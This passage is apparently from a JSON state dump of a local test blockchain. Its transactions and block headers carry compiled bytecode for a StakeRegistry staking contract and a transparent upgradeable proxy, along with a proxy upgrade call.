00461314a565b6116ce565b61027f610495366004613174565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d1366004613240565b6118e9565b6102546104e436600461328d565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132c9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000000000000000000000000000000000000000000081565b610254610559366004613305565b611ac3565b61041461056c366004612e4a565b611b58565b61025461057f3660046132c9565b611c41565b61027f610592366004613347565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133a4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906133f5565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613412565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133a4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561348e565b905060200201602081019061084a91906134a4565b8289898481811061085d5761085d61348e565b90506020020135815481106108745761087461348e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61348e565b90506020020135815481106108f4576108f461348e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61348e565b905060200201602081019061093091906134a4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109a45760405162461bcd60e51b8152600401610611906134bf565b6000836001600160401b038111156109be576109be612eee565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612eee565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61348e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361348e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61348e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f91906133f5565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613412565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133a4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61348e565b602002602001015181548110610ea357610ea361348e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161348e565b602002602001015181548110610f1957610f1961348e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613547565b81548110610f6957610f6961348e565b9060005260206000200183878381518110610f8657610f8661348e565b602002602001015181548110610f9e57610f9e61348e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161355a565b6000828152602081208201600019908101919091550190558154829061101990600190613547565b815481106110295761102961348e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61348e565b6020026020010151815481106110725761107261348e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061355a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461112d5760405162461bcd60e51b8152600401610611906134bf565b6000805b8381101561123657600085858381811061114d5761114d61348e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612eee565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761348e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61348e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613547565b6114699190613547565b815481106114795761147961348e565b60009182526020909120015463ffffffff16116114d757600161149c8284613547565b6114a69190613547565b8585815181106114b8576114b861348e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61348e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175091906133f5565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613412565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133a4565b6117c283836123f7565b505050565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461180f5760405162461bcd60e51b8152600401610611906134bf565b60005b818110156118e357600083838381811061182e5761182e61348e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b91906133f5565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613412565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133a4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613547565b81548110611a8c57611a8c61348e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613547565b81548110611bec57611bec61348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61348e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614611cea5760405162461bcd60e51b8152600401610611906134bf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692639004134792611ea1928c9201613570565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135d1565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761348e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561348e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61348e565b6020026020010151611fae9190613661565b611fb89190613678565b611fc2908661369a565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613547565b815481106120fe576120fe61348e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613547565b815481106122b4576122b461348e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374183398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136ba565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374183398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136ba565b811015612646578482815181106125895761258961348e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861348e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61348e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661348e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61348e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261348e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61348e565b60200260200101516000015186848151811061285d5761285d61348e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613547565b81548110612a6c57612a6c61348e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613547565b925050506114ee565b80612aa1816136cd565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136e4565b600080821215612baa57612b9982613704565b612ba39084613720565b9050610cae565b612ba3828461369a565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b0380821115612d0157600080fd5b612d0d89838a01612c80565b90965094506040880135915080821115612d2657600080fd5b50612d3388828901612c80565b969995985093965092949392505050565b60008083601f840112612d5657600080fd5b5081356001600160401b03811115612d6d57600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9b57600080fd5b8435612da681612c31565b93506020850135925060408501356001600160401b03811115612dc857600080fd5b612dd487828801612d44565b95989497509550505050565b60008151808452602080850194506020840160005b83811015612e1a5781516001600160601b031687529582019590820190600101612df5565b509495945050505050565b604081526000612e386040830185612de0565b82810360208401526123ee8185612de0565b60008060408385031215612e5d57600080fd5b82359150612e6d60208401612bb4565b90509250929050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257612ecf83855163ffffffff808251168352806020830151166020840152506001600160601b0360408201511660408301525050565b9284019260609290920191600101612e92565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2657612f26612eee565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5457612f54612eee565b604052919050565b60006001600160401b03821115612f7557612f75612eee565b5060051b60200190565b60008060408385031215612f9257600080fd5b612f9b83612bb4565b91506020808401356001600160401b03811115612fb757600080fd5b8401601f81018613612fc857600080fd5b8035612fdb612fd682612f5c565b612f2c565b81815260059190911b82018301908381019088831115612ffa57600080fd5b928401925b8284101561301857833582529284019290840190612fff565b80955050505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305057600080fd5b61305984613027565b925060208401356001600160401b0381111561307457600080fd5b61308086828701612d44565b9497909650939450505050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257835163ffffffff16835292840192918401916001016130a9565b6000806000606084860312156130e057600080fd5b6130e984612bb4565b95602085013595506040909401359392505050565b815163ffffffff9081168252602080840151909116908201526040808301516001600160601b03169082015260608101610cae565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561315d57600080fd5b61316683612bb4565b9150612e6d60208401613133565b60008060006040848603121561318957600080fd5b8335925060208401356001600160401b0381111561307457600080fd5b600082601f8301126131b757600080fd5b813560206131c7612fd683612f5c565b82815260069290921b840181019181810190868411156131e657600080fd5b8286015b8481101561323557604081890312156132035760008081fd5b61320b612f04565b813561321681612c31565b8152613223828601613133565b818601528352918301916040016131ea565b509695505050505050565b6000806040838503121561325357600080fd5b61325c83612bb4565b915060208301356001600160401b0381111561327757600080fd5b613283858286016131a6565b9150509250929050565b6000806000606084860312156132a257600080fd5b6132ab84612bb4565b92506132b960208501613027565b9150604084013590509250925092565b6000806000606084860312156132de57600080fd5b833592506132ee60208501612bb4565b91506132fc60408501613027565b90509250925092565b6000806000806080858703121561331b57600080fd5b61332485612bb4565b935061333260208601613027565b93969395505050506040820135916060013590565b60008060006060848603121561335c57600080fd5b61336584612bb4565b925061337360208501613133565b915060408401356001600160401b0381111561338e57600080fd5b61339a868287016131a6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561340757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134b657600080fd5b6114ee82613133565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613531565b634e487b7160e01b600052603160045260246000fd5b60006040820160018060a01b038086168452602060406020860152828654808552606087019150876000526020600020945060005b818110156135c35785548516835260019586019592840192016135a5565b509098975050505050505050565b600060208083850312156135e457600080fd5b82516001600160401b038111156135fa57600080fd5b8301601f8101851361360b57600080fd5b8051613619612fd682612f5c565b81815260059190911b8201830190838101908783111561363857600080fd5b928401925b828410156136565783518252928401929084019061363d565b979650505050505050565b8082028115828204841417610cae57610cae613531565b60008261369557634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b0381811683821601908082111561062b5761062b613531565b80820180821115610cae57610cae613531565b6000816136dc576136dc613531565b506000190190565b818103600083128015838313168383128216171561062b5761062b613531565b6000600160ff1b820161371957613719613531565b5060000390565b6001600160601b0382811682821603908082111561062b5761062b61353156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a264697066735822122086a228217be3aa4346ddc514699a0ca7893ec8b64cbf2023e3b1369fe2efcf1164736f6c63430008180033000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","r":"0x8b4fca287610e6c3e85240d8ccf96fcb6da0ecf9378aacd71d7d7a9c3459bf0d","s":"0x7510ebad4a5aa84ae69db3414b19276ba9f6e98d9387ceb879129f5e744dce2","yParity":"0x0","hash":"0x914c677dfbce44318a8d1f66bef4630efcb602922d825efb7e5157825f9212c7"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2c","gas":"0xd175","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x99a88ec4000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e0000000000000000000000000e801d84fa97b50751dbf25036d067dcf18858bf","r":"0xa4d013f0108ebfb04eb65ee2c2d40cf1fffc0696411b19edb7b0c0eeb8ee77da","s":"0x2d6852cff2ebd2fe11605d3a2e04e90006b57364168b979c56a1c5e845f104b3","yParity":"0x1","hash":"0x313a5f29df26d29135513cf0d64515eca7e96216e2700bd66810a2cbb5d0bdc2"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xa9206b55f2edb4d12832fa4f317d6113726a20ba27e4de1ae99eb59c4509725a","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x7fc4c95493959d87c6b97efa8f22cfda62062f146cc101a72c7e14357182ef58","transactionsRoot":"0x9cb63a3ddedd31db6733d943bf794a3c13583ecaed6b95f817198f3a911c098a","receiptsRoot":"0xa68a67dce4aaa04d6edf9c1ac958dbcb7e48099173e10cf31b7f97c3ab596fc5","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400004000000000000000000000000000000000000000000000400000000000000400000000000000004000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x19","gasLimit":"0x1c9c380","gasUsed":"0x8bf2e","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x33f7d44","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1c","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98d